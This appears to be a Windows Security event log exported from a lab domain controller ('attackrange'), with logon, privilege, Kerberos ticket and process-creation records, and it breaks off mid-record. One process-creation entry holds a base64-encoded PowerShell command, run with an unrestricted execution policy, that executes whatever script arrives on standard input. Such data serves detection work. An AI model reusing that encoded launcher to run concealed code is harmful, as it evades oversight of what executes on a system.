This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249726
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9D62

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249725
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE9D62
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64315

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249724
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9D62

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249723
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9CDD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249722
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE9CDD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64314

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249721
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9CDD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249720
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9C77

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249719
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE9C77
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64313

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249718
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9C77

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249717
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9BF1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249716
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE9BF1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64312

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249715
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9BF1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249714
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa34
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd58
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249713
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9848

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249712
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE9848
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249711
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249710
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249709
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249708
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfcc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249707
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE85B4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249706
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE85B4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249705
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249704
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249703
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249702
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfcc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf30
	Creator Process Name:	C:\Windows\System32\cmd.exe
